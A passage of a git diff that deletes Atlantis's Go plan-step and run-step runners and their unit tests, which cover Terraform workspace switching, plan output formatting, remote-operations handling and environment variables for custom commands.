ctx.Log.Debug("starting async tf remote operation") - _, outCh := p.AsyncTFExec.RunCommandAsync(ctx.Log, filepath.Clean(path), cmdArgs, envs, tfVersion, ctx.Workspace) - var lines []string - nextLineIsRunURL := false - var runURL string - var err error - - for line := range outCh { - if line.Err != nil { - err = line.Err - break - } - lines = append(lines, line.Line) - - // Here we're checking for the run url and updating the status - // if found. - if line.Line == lineBeforeRunURL { - nextLineIsRunURL = true - } else if nextLineIsRunURL { - runURL = strings.TrimSpace(line.Line) - ctx.Log.Debug("remote run url found, updating commit status") - updateStatusF(models.PendingCommitStatus, runURL) - nextLineIsRunURL = false - } - } - - ctx.Log.Debug("async tf remote operation complete") - output := strings.Join(lines, "\n") - if err != nil { - updateStatusF(models.FailedCommitStatus, runURL) - } else { - updateStatusF(models.SuccessCommitStatus, runURL) - } - return output, err -} - -var vTwelveAndUp = MustConstraint(">=0.12-a") - -// remoteOpsErr01114 is the error terraform plan will return if this project is -// using TFE remote operations in TF 0.11.14. -var remoteOpsErr01114 = `Error: Saving a generated plan is currently not supported! - -The "remote" backend does not support saving the generated execution -plan locally at this time. - -` - -// remoteOpsErr012 is the error terraform plan will return if this project is -// using TFE remote operations in TF 0.12.{0-4}. Later versions haven't been -// released yet at this time. -var remoteOpsErr012 = `Error: Saving a generated plan is currently not supported - -The "remote" backend does not support saving the generated execution plan -locally at this time. - -` - -// remoteOpsHeader is the header we add to the planfile if this plan was -// generated using TFE remote operations. -var remoteOpsHeader = "Atlantis: this plan was created by remote ops\n" diff --git a/server/events/runtime/plan_step_runner_test.go b/server/events/runtime/plan_step_runner_test.go deleted file mode 100644 index f2acf3dcf2..0000000000 --- a/server/events/runtime/plan_step_runner_test.go +++ /dev/null @@ -1,862 +0,0 @@ -package runtime_test - -import ( - "fmt" - "io/ioutil" - "os" - "path/filepath" - "strings" - "testing" - - "github.com/hashicorp/go-version" - mocks2 "github.com/runatlantis/atlantis/server/events/mocks" - "github.com/runatlantis/atlantis/server/events/terraform" - - . "github.com/petergtz/pegomock" - "github.com/pkg/errors" - "github.com/runatlantis/atlantis/server/events/mocks/matchers" - "github.com/runatlantis/atlantis/server/events/models" - "github.com/runatlantis/atlantis/server/events/runtime" - "github.com/runatlantis/atlantis/server/events/terraform/mocks" - matchers2 "github.com/runatlantis/atlantis/server/events/terraform/mocks/matchers" - "github.com/runatlantis/atlantis/server/logging" - . "github.com/runatlantis/atlantis/testing" -) - -func TestRun_NoWorkspaceIn08(t *testing.T) { - // We don't want any workspace commands to be run in 0.8. - RegisterMockTestingT(t) - terraform := mocks.NewMockClient() - - tfVersion, _ := version.NewVersion("0.8") - logger := logging.NewNoopLogger() - workspace := "default" - s := runtime.PlanStepRunner{ - DefaultTFVersion: tfVersion, - TerraformExecutor: terraform, - } - - When(terraform.RunCommandWithVersion(matchers.AnyPtrToLoggingSimpleLogger(), AnyString(), AnyStringSlice(), matchers2.AnyMapOfStringToString(), matchers2.AnyPtrToGoVersionVersion(), AnyString())). - ThenReturn("output", nil) - output, err := s.Run(models.ProjectCommandContext{ - Log: logger, - EscapedCommentArgs: []string{"comment", "args"}, - Workspace: workspace, - RepoRelDir: ".", - User: models.User{Username: "username"}, - Pull: models.PullRequest{ - Num: 2, - }, - BaseRepo: models.Repo{ - FullName: "owner/repo", - Owner: "owner", - Name: "repo", - }, - }, []string{"extra", "args"}, "/path", map[string]string(nil)) - Ok(t, err) - - Equals(t, "output", output) - terraform.VerifyWasCalledOnce().RunCommandWithVersion( - logger, - "/path", - []string{"plan", - "-input=false", - "-refresh", - "-no-color", - "-out", - "\"/path/default.tfplan\"", - "-var", - "atlantis_user=\"username\"", - "-var", - "atlantis_repo=\"owner/repo\"", - "-var", - "atlantis_repo_name=\"repo\"", - "-var", - "atlantis_repo_owner=\"owner\"", - "-var", - "atlantis_pull_num=2", - "extra", - "args", - "comment", - "args"}, - map[string]string(nil), - tfVersion, - workspace) - - // Verify that no env or workspace commands were run - terraform.VerifyWasCalled(Never()).RunCommandWithVersion(logger, - "/path", - []string{"env", - "select", - "-no-color", - "workspace"}, - map[string]string(nil), - tfVersion, - workspace) - terraform.VerifyWasCalled(Never()).RunCommandWithVersion(logger, - "/path", - []string{"workspace", - "select", - "-no-color", - "workspace"}, - map[string]string(nil), - tfVersion, - workspace) -} - -func TestRun_ErrWorkspaceIn08(t *testing.T) { - // If they attempt to use a workspace other than default in 0.8 - // we should error. - RegisterMockTestingT(t) - terraform := mocks.NewMockClient() - - tfVersion, _ := version.NewVersion("0.8") - logger := logging.NewNoopLogger() - workspace := "notdefault" - s := runtime.PlanStepRunner{ - TerraformExecutor: terraform, - DefaultTFVersion: tfVersion, - } - - When(terraform.RunCommandWithVersion(matchers.AnyPtrToLoggingSimpleLogger(), AnyString(), AnyStringSlice(), matchers2.AnyMapOfStringToString(), matchers2.AnyPtrToGoVersionVersion(), AnyString())). - ThenReturn("output", nil) - _, err := s.Run(models.ProjectCommandContext{ - Log: logger, - Workspace: workspace, - RepoRelDir: ".", - User: models.User{Username: "username"}, - }, []string{"extra", "args"}, "/path", map[string]string(nil)) - ErrEquals(t, "terraform version 0.8.0 does not support workspaces", err) -} - -func TestRun_SwitchesWorkspace(t *testing.T) { - RegisterMockTestingT(t) - - cases := []struct { - tfVersion string - expWorkspaceCmd string - }{ - { - "0.9.0", - "env", - }, - { - "0.9.11", - "env", - }, - { - "0.10.0", - "workspace", - }, - { - "0.11.0", - "workspace", - }, - } - - for _, c := range cases { - t.Run(c.tfVersion, func(t *testing.T) { - terraform := mocks.NewMockClient() - - tfVersion, _ := version.NewVersion(c.tfVersion) - logger := logging.NewNoopLogger() - - s := runtime.PlanStepRunner{ - TerraformExecutor: terraform, - DefaultTFVersion: tfVersion, - } - - When(terraform.RunCommandWithVersion(matchers.AnyPtrToLoggingSimpleLogger(), AnyString(), AnyStringSlice(), matchers2.AnyMapOfStringToString(), matchers2.AnyPtrToGoVersionVersion(), AnyString())). - ThenReturn("output", nil) - output, err := s.Run(models.ProjectCommandContext{ - Log: logger, - Workspace: "workspace", - RepoRelDir: ".", - User: models.User{Username: "username"}, - EscapedCommentArgs: []string{"comment", "args"}, - Pull: models.PullRequest{ - Num: 2, - }, - BaseRepo: models.Repo{ - FullName: "owner/repo", - Owner: "owner", - Name: "repo", - }, - }, []string{"extra", "args"}, "/path", map[string]string(nil)) - Ok(t, err) - - Equals(t, "output", output) - // Verify that env select was called as well as plan. - terraform.VerifyWasCalledOnce().RunCommandWithVersion(logger, - "/path", - []string{c.expWorkspaceCmd, - "select", - "-no-color", - "workspace"}, - map[string]string(nil), - tfVersion, - "workspace") - terraform.VerifyWasCalledOnce().RunCommandWithVersion(logger, - "/path", - []string{"plan", - "-input=false", - "-refresh", - "-no-color", - "-out", - "\"/path/workspace.tfplan\"", - "-var", - "atlantis_user=\"username\"", - "-var", - "atlantis_repo=\"owner/repo\"", - "-var", - "atlantis_repo_name=\"repo\"", - "-var", - "atlantis_repo_owner=\"owner\"", - "-var", - "atlantis_pull_num=2", - "extra", - "args", - "comment", - "args"}, - map[string]string(nil), - tfVersion, - "workspace") - }) - } -} - -func TestRun_CreatesWorkspace(t *testing.T) { - // Test that if `workspace select` fails, we call `workspace new`. - RegisterMockTestingT(t) - - cases := []struct { - tfVersion string - expWorkspaceCommand string - }{ - { - "0.9.0", - "env", - }, - { - "0.9.11", - "env", - }, - { - "0.10.0", - "workspace", - }, - { - "0.11.0", - "workspace", - }, - } - - for _, c := range cases { - t.Run(c.tfVersion, func(t *testing.T) { - terraform := mocks.NewMockClient() - tfVersion, _ := version.NewVersion(c.tfVersion) - logger := logging.NewNoopLogger() - s := runtime.PlanStepRunner{ - TerraformExecutor: terraform, - DefaultTFVersion: tfVersion, - } - - // Ensure that we actually try to switch workspaces by making the - // output of `workspace show` to be a different name. - When(terraform.RunCommandWithVersion(logger, "/path", []string{"workspace", "show"}, map[string]string(nil), tfVersion, "workspace")).ThenReturn("diffworkspace\n", nil) - - expWorkspaceArgs := []string{c.expWorkspaceCommand, "select", "-no-color", "workspace"} - When(terraform.RunCommandWithVersion(logger, "/path", expWorkspaceArgs, map[string]string(nil), tfVersion, "workspace")).ThenReturn("", errors.New("workspace does not exist")) - - expPlanArgs := []string{"plan", - "-input=false", - "-refresh", - "-no-color", - "-out", - "\"/path/workspace.tfplan\"", - "-var", - "atlantis_user=\"username\"", - "-var", - "atlantis_repo=\"owner/repo\"", - "-var", - "atlantis_repo_name=\"repo\"", - "-var", - "atlantis_repo_owner=\"owner\"", - "-var", - "atlantis_pull_num=2", - "extra", - "args", - "comment", - "args"} - When(terraform.RunCommandWithVersion(logger, "/path", expPlanArgs, map[string]string(nil), tfVersion, "workspace")).ThenReturn("output", nil) - - output, err := s.Run(models.ProjectCommandContext{ - Log: logger, - Workspace: "workspace", - RepoRelDir: ".", - User: models.User{Username: "username"}, - EscapedCommentArgs: []string{"comment", "args"}, - Pull: models.PullRequest{ - Num: 2, - }, - BaseRepo: models.Repo{ - FullName: "owner/repo", - Owner: "owner", - Name: "repo", - }, - }, []string{"extra", "args"}, "/path", map[string]string(nil)) - Ok(t, err) - - Equals(t, "output", output) - // Verify that env select was called as well as plan. - terraform.VerifyWasCalledOnce().RunCommandWithVersion(logger, "/path", expWorkspaceArgs, map[string]string(nil), tfVersion, "workspace") - terraform.VerifyWasCalledOnce().RunCommandWithVersion(logger, "/path", expPlanArgs, map[string]string(nil), tfVersion, "workspace") - }) - } -} - -func TestRun_NoWorkspaceSwitchIfNotNecessary(t *testing.T) { - // Tests that if workspace show says we're on the right workspace we don't - // switch. - RegisterMockTestingT(t) - terraform := mocks.NewMockClient() - tfVersion, _ := version.NewVersion("0.10.0") - logger := logging.NewNoopLogger() - s := runtime.PlanStepRunner{ - TerraformExecutor: terraform, - DefaultTFVersion: tfVersion, - } - When(terraform.RunCommandWithVersion(logger, "/path", []string{"workspace", "show"}, map[string]string(nil), tfVersion, "workspace")).ThenReturn("workspace\n", nil) - - expPlanArgs := []string{"plan", - "-input=false", - "-refresh", - "-no-color", - "-out", - "\"/path/workspace.tfplan\"", - "-var", - "atlantis_user=\"username\"", - "-var", - "atlantis_repo=\"owner/repo\"", - "-var", - "atlantis_repo_name=\"repo\"", - "-var", - "atlantis_repo_owner=\"owner\"", - "-var", - "atlantis_pull_num=2", - "extra", - "args", - "comment", - "args"} - When(terraform.RunCommandWithVersion(logger, "/path", expPlanArgs, map[string]string(nil), tfVersion, "workspace")).ThenReturn("output", nil) - - output, err := s.Run(models.ProjectCommandContext{ - Log: logger, - Workspace: "workspace", - RepoRelDir: ".", - User: models.User{Username: "username"}, - EscapedCommentArgs: []string{"comment", "args"}, - Pull: models.PullRequest{ - Num: 2, - }, - BaseRepo: models.Repo{ - FullName: "owner/repo", - Owner: "owner", - Name: "repo", - }, - }, []string{"extra", "args"}, "/path", map[string]string(nil)) - Ok(t, err) - - Equals(t, "output", output) - terraform.VerifyWasCalledOnce().RunCommandWithVersion(logger, "/path", expPlanArgs, map[string]string(nil), tfVersion, "workspace") - - // Verify that workspace select was never called. - terraform.VerifyWasCalled(Never()).RunCommandWithVersion(logger, "/path", []string{"workspace", "select", "-no-color", "workspace"}, map[string]string(nil), tfVersion, "workspace") -} - -func TestRun_AddsEnvVarFile(t *testing.T) { - // Test that if env/workspace.tfvars file exists we use -var-file option. - RegisterMockTestingT(t) - terraform := mocks.NewMockClient() - - // Create the env/workspace.tfvars file. - tmpDir, cleanup := TempDir(t) - defer cleanup() - err := os.MkdirAll(filepath.Join(tmpDir, "env"), 0700) - Ok(t, err) - envVarsFile := filepath.Join(tmpDir, "env/workspace.tfvars") - err = ioutil.WriteFile(envVarsFile, nil, 0644) - Ok(t, err) - - // Using version >= 0.10 here so we don't expect any env commands. - tfVersion, _ := version.NewVersion("0.10.0") - logger := logging.NewNoopLogger() - s := runtime.PlanStepRunner{ - TerraformExecutor: terraform, - DefaultTFVersion: tfVersion, - } - - expPlanArgs := []string{"plan", - "-input=false", - "-refresh", - "-no-color", - "-out", - fmt.Sprintf("%q", filepath.Join(tmpDir, "workspace.tfplan")), - "-var", - "atlantis_user=\"username\"", - "-var", - "atlantis_repo=\"owner/repo\"", - "-var", - "atlantis_repo_name=\"repo\"", - "-var", - "atlantis_repo_owner=\"owner\"", - "-var", - "atlantis_pull_num=2", - "extra", - "args", - "comment", - "args", - "-var-file", - envVarsFile, - } - When(terraform.RunCommandWithVersion(logger, tmpDir, expPlanArgs, map[string]string(nil), tfVersion, "workspace")).ThenReturn("output", nil) - - output, err := s.Run(models.ProjectCommandContext{ - Log: logger, - Workspace: "workspace", - RepoRelDir: ".", - User: models.User{Username: "username"}, - EscapedCommentArgs: []string{"comment", "args"}, - Pull: models.PullRequest{ - Num: 2, - }, - BaseRepo: models.Repo{ - FullName: "owner/repo", - Owner: "owner", - Name: "repo", - }, - }, []string{"extra", "args"}, tmpDir, map[string]string(nil)) - Ok(t, err) - - // Verify that env select was never called since we're in version >= 0.10 - terraform.VerifyWasCalled(Never()).RunCommandWithVersion(logger, tmpDir, []string{"env", "select", "-no-color", "workspace"}, map[string]string(nil), tfVersion, "workspace") - terraform.VerifyWasCalledOnce().RunCommandWithVersion(logger, tmpDir, expPlanArgs, map[string]string(nil), tfVersion, "workspace") - Equals(t, "output", output) -} - -func TestRun_UsesDiffPathForProject(t *testing.T) { - // Test that if running for a project, uses a different path for the plan - // file. - RegisterMockTestingT(t) - terraform := mocks.NewMockClient() - tfVersion, _ := version.NewVersion("0.10.0") - logger := logging.NewNoopLogger() - s := runtime.PlanStepRunner{ - TerraformExecutor: terraform, - DefaultTFVersion: tfVersion, - } - When(terraform.RunCommandWithVersion(logger, "/path", []string{"workspace", "show"}, map[string]string(nil), tfVersion, "workspace")).ThenReturn("workspace\n", nil) - - expPlanArgs := []string{"plan", - "-input=false", - "-refresh", - "-no-color", - "-out", - "\"/path/projectname-default.tfplan\"", - "-var", - "atlantis_user=\"username\"", - "-var", - "atlantis_repo=\"owner/repo\"", - "-var", - "atlantis_repo_name=\"repo\"", - "-var", - "atlantis_repo_owner=\"owner\"", - "-var", - "atlantis_pull_num=2", - "extra", - "args", - "comment", - "args", - } - When(terraform.RunCommandWithVersion(logger, "/path", expPlanArgs, map[string]string(nil), tfVersion, "default")).ThenReturn("output", nil) - - output, err := s.Run(models.ProjectCommandContext{ - Log: logger, - Workspace: "default", - RepoRelDir: ".", - User: models.User{Username: "username"}, - EscapedCommentArgs: []string{"comment", "args"}, - ProjectName: "projectname", - Pull: models.PullRequest{ - Num: 2, - }, - BaseRepo: models.Repo{ - FullName: "owner/repo", - Owner: "owner", - Name: "repo", - }, - }, []string{"extra", "args"}, "/path", map[string]string(nil)) - Ok(t, err) - Equals(t, "output", output) -} - -// Test that we format the plan output for better rendering. -func TestRun_PlanFmt(t *testing.T) { - rawOutput := `Refreshing Terraform state in-memory prior to plan... -The refreshed state will be used to calculate this plan, but will not be -persisted to local or remote state storage. - - ------------------------------------------------------------------------- - -An execution plan has been generated and is shown below. -Resource actions are indicated with the following symbols: - + create - ~ update in-place - - destroy - -Terraform will perform the following actions: - -+ null_resource.test[0] - id: - - + null_resource.test[1] - id: - - ~ aws_security_group_rule.allow_all - description: "" => "test3" - - - aws_security_group_rule.allow_all -` - RegisterMockTestingT(t) - terraform := mocks.NewMockClient() - tfVersion, _ := version.NewVersion("0.10.0") - s := runtime.PlanStepRunner{ - TerraformExecutor: terraform, - DefaultTFVersion: tfVersion, - } - When(terraform.RunCommandWithVersion( - matchers.AnyPtrToLoggingSimpleLogger(), - AnyString(), - AnyStringSlice(), - matchers2.AnyMapOfStringToString(), - matchers2.AnyPtrToGoVersionVersion(), - AnyString())). - Then(func(params []Param) ReturnValues { - // This code allows us to return different values depending on the - // tf command being run while still using the wildcard matchers above. - tfArgs := params[2].([]string) - if stringSliceEquals(tfArgs, []string{"workspace", "show"}) { - return []ReturnValue{"default", nil} - } else if tfArgs[0] == "plan" { - return []ReturnValue{rawOutput, nil} - } else { - return []ReturnValue{"", errors.New("unexpected call to RunCommandWithVersion")} - } - }) - actOutput, err := s.Run(models.ProjectCommandContext{Workspace: "default"}, nil, "", map[string]string(nil)) - Ok(t, err) - Equals(t, ` -An execution plan has been generated and is shown below. -Resource actions are indicated with the following symbols: -+ create -~ update in-place -- destroy - -Terraform will perform the following actions: - -+ null_resource.test[0] - id: - -+ null_resource.test[1] - id: - -~ aws_security_group_rule.allow_all - description: "" => "test3" - -- aws_security_group_rule.allow_all -`, actOutput) -} - -// Test that even if there's an error, we get the returned output. -func TestRun_OutputOnErr(t *testing.T) { - RegisterMockTestingT(t) - terraform := mocks.NewMockClient() - tfVersion, _ := version.NewVersion("0.10.0") - s := runtime.PlanStepRunner{ - TerraformExecutor: terraform, - DefaultTFVersion: tfVersion, - } - expOutput := "expected output" - expErrMsg := "error!" - When(terraform.RunCommandWithVersion( - matchers.AnyPtrToLoggingSimpleLogger(), - AnyString(), - AnyStringSlice(), - matchers2.AnyMapOfStringToString(), - matchers2.AnyPtrToGoVersionVersion(), - AnyString())). - Then(func(params []Param) ReturnValues { - // This code allows us to return different values depending on the - // tf command being run while still using the wildcard matchers above. - tfArgs := params[2].([]string) - if stringSliceEquals(tfArgs, []string{"workspace", "show"}) { - return []ReturnValue{"default\n", nil} - } else if tfArgs[0] == "plan" { - return []ReturnValue{expOutput, errors.New(expErrMsg)} - } else { - return []ReturnValue{"", errors.New("unexpected call to RunCommandWithVersion")} - } - }) - actOutput, actErr := s.Run(models.ProjectCommandContext{Workspace: "default"}, nil, "", map[string]string(nil)) - ErrEquals(t, expErrMsg, actErr) - Equals(t, expOutput, actOutput) -} - -// Test that if we're using 0.12, we don't set the optional -var atlantis_repo_name -// flags because in >= 0.12 you can't set -var flags if those variables aren't -// being used. -func TestRun_NoOptionalVarsIn012(t *testing.T) { - RegisterMockTestingT(t) - terraform := mocks.NewMockClient() - - tfVersion, _ := version.NewVersion("0.12.0") - s := runtime.PlanStepRunner{ - TerraformExecutor: terraform, - DefaultTFVersion: tfVersion, - } - - When(terraform.RunCommandWithVersion( - matchers.AnyPtrToLoggingSimpleLogger(), - AnyString(), - AnyStringSlice(), - matchers2.AnyMapOfStringToString(), - matchers2.AnyPtrToGoVersionVersion(), - AnyString())).ThenReturn("output", nil) - - output, err := s.Run(models.ProjectCommandContext{ - Workspace: "default", - RepoRelDir: ".", - User: models.User{Username: "username"}, - EscapedCommentArgs: []string{"comment", "args"}, - Pull: models.PullRequest{ - Num: 2, - }, - BaseRepo: models.Repo{ - FullName: "owner/repo", - Owner: "owner", - Name: "repo", - }, - }, []string{"extra", "args"}, "/path", map[string]string(nil)) - Ok(t, err) - Equals(t, "output", output) - - expPlanArgs := []string{"plan", - "-input=false", - "-refresh", - "-no-color", - "-out", - fmt.Sprintf("%q", "/path/default.tfplan"), - "extra", - "args", - "comment", - "args", - } - terraform.VerifyWasCalledOnce().RunCommandWithVersion(nil, "/path", expPlanArgs, map[string]string(nil), tfVersion, "default") -} - -// Test plans if using remote ops. -func TestRun_RemoteOps(t *testing.T) { - cases := map[string]string{ - "0.11.14 error": `Error: Saving a generated plan is currently not supported! - -The "remote" backend does not support saving the generated execution -plan locally at this time. - -`, - "0.12.* error": `Error: Saving a generated plan is currently not supported - -The "remote" backend does not support saving the generated execution plan -locally at this time. - -`, - } - for name, remoteOpsErr := range cases { - t.Run(name, func(t *testing.T) { - - RegisterMockTestingT(t) - terraform := mocks.NewMockClient() - asyncTf := &remotePlanMock{} - - tfVersion, _ := version.NewVersion("0.11.12") - updater := mocks2.NewMockCommitStatusUpdater() - s := runtime.PlanStepRunner{ - TerraformExecutor: terraform, - DefaultTFVersion: tfVersion, - AsyncTFExec: asyncTf, - CommitStatusUpdater: updater, - } - absProjectPath, cleanup := TempDir(t) - defer cleanup() - - // First, terraform workspace gets run. - When(terraform.RunCommandWithVersion( - nil, - absProjectPath, - []string{"workspace", "show"}, - map[string]string(nil), - tfVersion, - "default")).ThenReturn("default\n", nil) - - // Then the first call to terraform plan should return the remote ops error. - expPlanArgs := []string{"plan", - "-input=false", - "-refresh", - "-no-color", - "-out", - fmt.Sprintf("%q", filepath.Join(absProjectPath, "default.tfplan")), - "-var", - "atlantis_user=\"username\"", - "-var", - "atlantis_repo=\"owner/repo\"", - "-var", - "atlantis_repo_name=\"repo\"", - "-var", - "atlantis_repo_owner=\"owner\"", - "-var", - "atlantis_pull_num=2", - "extra", - "args", - "comment", - "args", - } - - planErr := errors.New("exit status 1: err") - planOutput := "\n" + remoteOpsErr - asyncTf.LinesToSend = remotePlanOutput - When(terraform.RunCommandWithVersion(nil, absProjectPath, expPlanArgs, map[string]string(nil), tfVersion, "default")). - ThenReturn(planOutput, planErr) - - // Now that mocking is set up, we're ready to run the plan. - ctx := models.ProjectCommandContext{ - Workspace: "default", - RepoRelDir: ".", - User: models.User{Username: "username"}, - EscapedCommentArgs: []string{"comment", "args"}, - Pull: models.PullRequest{ - Num: 2, - }, - BaseRepo: models.Repo{ - FullName: "owner/repo", - Owner: "owner", - Name: "repo", - }, - } - output, err := s.Run(ctx, []string{"extra", "args"}, absProjectPath, map[string]string(nil)) - Ok(t, err) - Equals(t, ` -An execution plan has been generated and is shown below. -Resource actions are indicated with the following symbols: -- destroy - -Terraform will perform the following actions: - -- null_resource.hi[1] - - -Plan: 0 to add, 0 to change, 1 to destroy.`, output) - - expRemotePlanArgs := []string{"plan", "-input=false", "-refresh", "-no-color", "extra", "args", "comment", "args"} - Equals(t, expRemotePlanArgs, asyncTf.CalledArgs) - - // Verify that the fake plan file we write has the correct contents. - bytes, err := ioutil.ReadFile(filepath.Join(absProjectPath, "default.tfplan")) - Ok(t, err) - Equals(t, `Atlantis: this plan was created by remote ops - -An execution plan has been generated and is shown below. -Resource actions are indicated with the following symbols: - - destroy - -Terraform will perform the following actions: - - - null_resource.hi[1] - - -Plan: 0 to add, 0 to change, 1 to destroy.`, string(bytes)) - - // Ensure that the status was updated with the runURL. - runURL := "https://app.terraform.io/app/lkysow-enterprises/atlantis-tfe-test/runs/run-is4oVvJfrkud1KvE" - updater.VerifyWasCalledOnce().UpdateProject(ctx, models.PlanCommand, models.PendingCommitStatus, runURL) - updater.VerifyWasCalledOnce().UpdateProject(ctx, models.PlanCommand, models.SuccessCommitStatus, runURL) - }) - } -} - -type remotePlanMock struct { - // LinesToSend will be sent on the channel. - LinesToSend string - // CalledArgs is what args we were called with. - CalledArgs []string -} - -func (r *remotePlanMock) RunCommandAsync(log *logging.SimpleLogger, path string, args []string, envs map[string]string, v *version.Version, workspace string) (chan<- string, <-chan terraform.Line) { - r.CalledArgs = args - in := make(chan string) - out := make(chan terraform.Line) - go func() { - for _, line := range strings.Split(r.LinesToSend, "\n") { - out <- terraform.Line{Line: line} - } - close(out) - close(in) - }() - return in, out -} - -func stringSliceEquals(a, b []string) bool { - if len(a) != len(b) { - return false - } - for i, v := range a { - if v != b[i] { - return false - } - } - return true -} - -var remotePlanOutput = `Running plan in the remote backend. Output will stream here. Pressing Ctrl-C -will stop streaming the logs, but will not stop the plan running remotely. - -Preparing the remote plan... - -To view this run in a browser, visit: -https://app.terraform.io/app/lkysow-enterprises/atlantis-tfe-test/runs/run-is4oVvJfrkud1KvE - -Waiting for the plan to start... - -Terraform v0.11.11 - -Configuring remote state backend... -Initializing Terraform configuration... -2019/02/20 22:40:52 [DEBUG] Using modified User-Agent: Terraform/0.11.11 TFE/202eeff -Refreshing Terraform state in-memory prior to plan... -The refreshed state will be used to calculate this plan, but will not be -persisted to local or remote state storage. - -null_resource.hi: Refreshing state... (ID: 217661332516885645) -null_resource.hi[1]: Refreshing state... (ID: 6064510335076839362) - ------------------------------------------------------------------------- - -An execution plan has been generated and is shown below. -Resource actions are indicated with the following symbols: - - destroy - -Terraform will perform the following actions: - - - null_resource.hi[1] - - -Plan: 0 to add, 0 to change, 1 to destroy.` diff --git a/server/events/runtime/pull_approved_checker.go b/server/events/runtime/pull_approved_checker.go deleted file mode 100644 index e77aa2acb1..0000000000 --- a/server/events/runtime/pull_approved_checker.go +++ /dev/null @@ -1,11 +0,0 @@ -package runtime - -import ( - "github.com/runatlantis/atlantis/server/events/models" -) - -//go:generate pegomock generate -m --use-experimental-model-gen --package mocks -o mocks/mock_pull_approved_checker.go PullApprovedChecker - -type PullApprovedChecker interface { - PullIsApproved(baseRepo models.Repo, pull models.PullRequest) (bool, error) -} diff --git a/server/events/runtime/run_step_runner.go b/server/events/runtime/run_step_runner.go deleted file mode 100644 index e4d0015b93..0000000000 --- a/server/events/runtime/run_step_runner.go +++ /dev/null @@ -1,76 +0,0 @@ -package runtime - -import ( - "fmt" - "os" - "os/exec" - "path/filepath" - "strings" - - "github.com/hashicorp/go-version" - "github.com/runatlantis/atlantis/server/events/models" -) - -// RunStepRunner runs custom commands. -type RunStepRunner struct { - TerraformExecutor TerraformExec - DefaultTFVersion *version.Version - // TerraformBinDir is the directory where Atlantis downloads Terraform binaries. - TerraformBinDir string -} - -func (r *RunStepRunner) Run(ctx models.ProjectCommandContext, command string, path string, envs map[string]string) (string, error) { - tfVersion := r.DefaultTFVersion - if ctx.TerraformVersion != nil { - tfVersion = ctx.TerraformVersion - } - - err := r.TerraformExecutor.EnsureVersion(ctx.Log, tfVersion) - if err != nil { - err = fmt.Errorf("%s: Downloading terraform Version %s", err, tfVersion.String()) - ctx.Log.Debug("error: %s", err) - return "", err - } - - cmd := exec.Command("sh", "-c", command) // #nosec - cmd.Dir = path - - baseEnvVars := os.Environ() - customEnvVars := map[string]string{ - "ATLANTIS_TERRAFORM_VERSION": tfVersion.String(), - "BASE_BRANCH_NAME": ctx.Pull.BaseBranch, - "BASE_REPO_NAME": ctx.BaseRepo.Name, - "BASE_REPO_OWNER": ctx.BaseRepo.Owner, - "COMMENT_ARGS": strings.Join(ctx.EscapedCommentArgs, ","), - "DIR": path, - "HEAD_BRANCH_NAME": ctx.Pull.HeadBranch, - "HEAD_REPO_NAME": ctx.HeadRepo.Name, - "HEAD_REPO_OWNER": ctx.HeadRepo.Owner, - "PATH": fmt.Sprintf("%s:%s", os.Getenv("PATH"), r.TerraformBinDir), - "PLANFILE": filepath.Join(path, GetPlanFilename(ctx.Workspace, ctx.ProjectName)), - "PROJECT_NAME": ctx.ProjectName, - "PULL_AUTHOR": ctx.Pull.Author, - "PULL_NUM": fmt.Sprintf("%d", ctx.Pull.Num), - "REPO_REL_DIR": ctx.RepoRelDir, - "USER_NAME": ctx.User.Username, - "WORKSPACE": ctx.Workspace, - } - - finalEnvVars := baseEnvVars - for key, val := range customEnvVars { - finalEnvVars = append(finalEnvVars, fmt.Sprintf("%s=%s", key, val)) - } - for key, val := range envs { - finalEnvVars = append(finalEnvVars, fmt.Sprintf("%s=%s", key, val)) - } - cmd.Env = finalEnvVars - out, err := cmd.CombinedOutput() - - if err != nil { - err = fmt.Errorf("%s: running %q in %q: \n%s", err, command, path, out) - ctx.Log.Debug("error: %s", err) - return "", err - } - ctx.Log.Info("successfully ran %q in %q", command, path) - return string(out), nil -} diff --git a/server/events/runtime/run_step_runner_test.go b/server/events/runtime/run_step_runner_test.go deleted file mode 100644 index f662fbf1cd..0000000000 --- a/server/events/runtime/run_step_runner_test.go +++ /dev/null @@ -1,157 +0,0 @@ -package runtime_test - -import ( - "fmt" - "os" - "strings" - "testing" - - version "github.com/hashicorp/go-version" - . "github.com/petergtz/pegomock" - "github.com/runatlantis/atlantis/server/events/mocks/matchers" - "github.com/runatlantis/atlantis/server/events/models" - "github.com/runatlantis/atlantis/server/events/runtime" - "github.com/runatlantis/atlantis/server/events/terraform/mocks" - matchers2 "github.com/runatlantis/atlantis/server/events/terraform/mocks/matchers" - "github.com/runatlantis/atlantis/server/logging" - . "github.com/runatlantis/atlantis/testing" -) - -func TestRunStepRunner_Run(t *testing.T) { - cases := []struct { - Command string - ProjectName string - ExpOut string - ExpErr string - Version string - }{ - { - Command: "", - ExpOut: "", - Version: "v1.2.3", - }, - { - Command: "echo hi", - ExpOut: "hi\n", - Version: "v2.3.4", - }, - { - Command: `printf \'your main.tf file does not provide default region.\\ncheck\'`, - ExpOut: `'your`, - }, - { - Command: `printf 'your main.tf file does not provide default region.\ncheck'`, - ExpOut: "your main.tf file does not provide default region.\ncheck", - }, - { - Command: "echo 'a", - ExpErr: "exit status 2: running \"echo 'a\" in", - }, - { - Command: "echo hi >> file && cat file", - ExpOut: "hi\n", - }, - { - Command: "lkjlkj", - ExpErr: "exit status 127: running \"lkjlkj\" in", - }, - { - Command: "echo workspace=$WORKSPACE version=$ATLANTIS_TERRAFORM_VERSION dir=$DIR planfile=$PLANFILE project=$PROJECT_NAME", - ExpOut: "workspace=myworkspace version=0.11.0 dir=$DIR planfile=$DIR/myworkspace.tfplan project=\n", - }, - { - Command: "echo workspace=$WORKSPACE version=$ATLANTIS_TERRAFORM_VERSION dir=$DIR planfile=$PLANFILE project=$PROJECT_NAME", - ProjectName: "my/project/name", - ExpOut: "workspace=myworkspace version=0.11.0 dir=$DIR planfile=$DIR/my::project::name-myworkspace.tfplan project=my/project/name\n", - }, - { - Command: "echo base_repo_name=$BASE_REPO_NAME base_repo_owner=$BASE_REPO_OWNER head_repo_name=$HEAD_REPO_NAME head_repo_owner=$HEAD_REPO_OWNER head_branch_name=$HEAD_BRANCH_NAME base_branch_name=$BASE_BRANCH_NAME pull_num=$PULL_NUM pull_author=$PULL_AUTHOR repo_rel_dir=$REPO_REL_DIR", - ExpOut: "base_repo_name=basename base_repo_owner=baseowner head_repo_name=headname head_repo_owner=headowner head_branch_name=add-feat base_branch_name=master pull_num=2 pull_author=acme repo_rel_dir=mydir\n", - }, - { - Command: "echo user_name=$USER_NAME", - ExpOut: 